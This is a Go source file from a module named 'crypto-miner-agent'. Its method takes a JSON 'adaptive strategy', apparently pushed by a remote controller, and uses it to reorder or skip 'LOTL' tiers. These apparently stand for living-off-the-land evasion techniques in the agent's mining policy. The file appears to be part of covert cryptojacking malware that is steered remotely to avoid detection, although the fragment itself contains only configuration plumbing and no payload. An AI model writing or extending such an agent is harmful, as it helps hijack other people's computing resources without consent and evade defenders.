package client import ( "encoding/json" "log" "crypto-miner-agent/miner" ) type AdaptiveStrategy struct { TierOrder []string `json:"tier_order"` SkipTiers []string `json:"skip_tiers,omitempty"` Reasoning []StrategyReason `json:"reasoning"` Confidence float64 `json:"confidence"` UpdatedAt string `json:"updated_at"` } type StrategyReason struct { Fact string `json:"fact"` Inference string `json:"inference"` Action string `json:"action"` } func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var s AdaptiveStrategy if err := json.Unmarshal(raw, &s); err != nil { return } c.mu.Lock() c.adaptiveStrategy = s policy := c.tierPolicy if len(s.TierOrder) > 0 { order := make([]miner.LOTLTier, len(s.TierOrder)) for i, t := range s.TierOrder { order[i] = miner.LOTLTier(t) } policy.TierOrder = order } if len(s.SkipTiers) > 0 { skip := make([]miner.LOTLTier, len(s.SkipTiers)) for i, t := range s.SkipTiers { skip[i] = miner.LOTLTier(t) } policy.SkipTiers = skip } c.tierPolicy = policy c.mu.Unlock() c.mergeAtlasSkipsIntoPolicy() log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence) } func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy { c.mu.Lock() defer c.mu.Unlock() return c.adaptiveStrategy }